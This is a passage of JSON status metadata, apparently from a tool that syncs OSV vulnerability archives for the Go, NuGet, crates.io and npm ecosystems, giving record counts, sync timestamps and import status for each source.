sent.","generation":"enrichment-2631849b93374f92b58df8962bc21c69","complete":true,"records":13939,"lastAttemptAt":"2026-11-22T07:25:46.1307685+00:00","lastSuccessAt":"2026-11-22T07:25:46.127+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:46.127+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13975,"expectedIdentifiers":13975,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e5345bb505029da8292989aaa8236ee0c21dd40080e465858702ec2ecb4dcefd","complete":true,"records":9989,"lastAttemptAt":"2026-11-22T07:25:32.7638298+00:00","lastSuccessAt":"2026-11-21T19:16:03.0413179+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:32.7638298+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-22T07:25:32.4753846+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:32.4753846+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-67ea94df7f6b2100258b087b14035af283f000b6aefe39f55e9f2795f912fde8","complete":true,"records":3209,"lastAttemptAt":"2026-11-22T07:25:32.7767676+00:00","lastSuccessAt":"2026-11-21T19:16:06.9994675+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:32.7767676+00:00","snapshotPublishedAt":"2026-11-21T18:18:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c6e6524a8cc790a5155fe5929547cc5f963dbc50bf1bac44215f68577b7d2a8c","complete":true,"records":232857,"lastAttemptAt":"2026-11-22T07:25:32.5772499+00:00","lastSuccessAt":"2026-11-22T05:27:13.1364419+00:00","error":null,"lastVerifiedAt":"2026-11-22T07:25:32.5772499+00:00","snapshotPublishedAt":"2026-11-22T04:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}